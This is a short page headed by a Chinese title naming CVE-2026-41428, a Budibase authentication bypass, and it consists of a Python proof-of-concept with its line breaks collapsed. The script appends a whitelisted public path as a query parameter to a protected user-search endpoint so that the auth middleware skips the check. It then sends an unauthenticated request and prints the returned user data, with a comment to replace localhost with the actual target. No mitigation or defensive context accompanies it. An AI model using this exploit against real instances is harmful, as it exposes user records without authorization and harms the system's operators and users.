CVE-2026-41428 Budibase认证绕过漏洞

import requests def exploit_budibase_auth_bypass(target_url): """ PoC for CVE-2026-41428: Budibase Authentication Bypass """ # The protected endpoint we want to access protected_path = "/api/global/users/search" # A public endpoint path known to be in the whitelist public_bypass_path = "/api/system/status" # Construct the malicious URL by appending the public path to the query string # The middleware regex matches the public path in the query parameter, bypassing auth exploit_url = f"{target_url}{protected_path}?x={public_bypass_path}" print(f"[*] Sending request to: {exploit_url}") # Send request without Authorization headers response = requests.post(exploit_url) if response.status_code == 200: print(f"[+] Exploit successful! Authentication bypassed.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target exploit_budibase_auth_bypass(target)